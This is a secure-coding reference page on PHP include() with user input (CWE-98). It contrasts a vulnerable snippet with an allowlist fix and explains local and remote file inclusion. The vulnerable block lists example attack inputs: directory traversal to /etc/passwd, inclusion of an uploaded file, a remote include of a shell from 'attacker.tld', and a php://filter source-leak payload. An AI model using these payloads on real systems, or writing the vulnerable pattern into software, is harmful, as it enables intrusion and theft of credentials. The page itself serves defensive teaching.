flawopen.com/File Inclusion/PHP include()

Is PHP's include() safe with user input?

CWE-98: PHP Remote File InclusionReference page
Short answer

No. include does not read a file — it executes it as PHP. Any user influence over the path is a potential remote code execution, not merely a file disclosure. Map user input to a fixed allowlist of filenames instead of building a path from it.

VULNERABLE
<?php
// Classic LFI
include $_GET['page'] . '.php';

// ?page=../../../../etc/passwd%00
// ?page=../../uploads/avatar
//   → executes an uploaded "image"
//     containing PHP

// With allow_url_include=On, also RFI:
// ?page=http://attacker.tld/shell

// Stream wrappers make LFI worse:
// ?page=php://filter/convert.base64-
//   encode/resource=config
//   → leaks source of any file
FIXED
<?php
// Allowlist. The user picks a KEY,
// never a path.
$pages = [
    'home'    => 'pages/home.php',
    'about'   => 'pages/about.php',
    'contact' => 'pages/contact.php',
];

$key = $_GET['page'] ?? 'home';

if (!array_key_exists($key, $pages)) {
    http_response_code(404);
    exit;
}

include $pages[$key];

Why local inclusion is not the "mild" version

Local file inclusion is often triaged below remote file inclusion on the assumption that it only discloses files. In PHP that assumption is usually wrong, because the included file is executed. An attacker who can get any PHP-containing bytes onto the filesystem and then include them has code execution. Common routes include an avatar or document upload that stores attacker-controlled content, and log files containing a request header the attacker chose.

Separately, the php://filter stream wrapper converts inclusion into reliable source disclosure — reading configuration files and credentials without needing execution at all.

Why path sanitisation is the wrong fix

Stripping ../, appending a fixed extension, or prefixing a base directory all look like fixes and all have well-known bypasses — encoded traversal sequences, absolute paths, stream wrappers that ignore the prefix entirely. The structural fix is to remove user control over the path: let the input select from a fixed set of known-good values that you wrote, and treat anything not in that set as a 404.

If you genuinely must resolve a path, apply the same containment check used for path traversal — resolve fully with realpath(), then verify the result is still inside the intended directory — and additionally confirm the resolved file is one you intended to be executable.

FAQ

Does allow_url_include=Off make this safe?

It removes the remote-URL variant, which is worth doing and is the default on modern PHP. It does nothing about local inclusion, which is the more common and still fully exploitable case.

Is the null-byte trick still viable?

The %00 truncation technique was fixed in PHP 5.3.4. It appears constantly in older write-ups; do not rely on its absence as your defence, because the other routes listed above do not depend on it.

What about require, include_once, and readfile?

require and the _once variants have identical execution semantics and identical risk. readfile() and file_get_contents() do not execute, so user control there is a path traversal / disclosure issue rather than code execution — still serious, but a different class.

References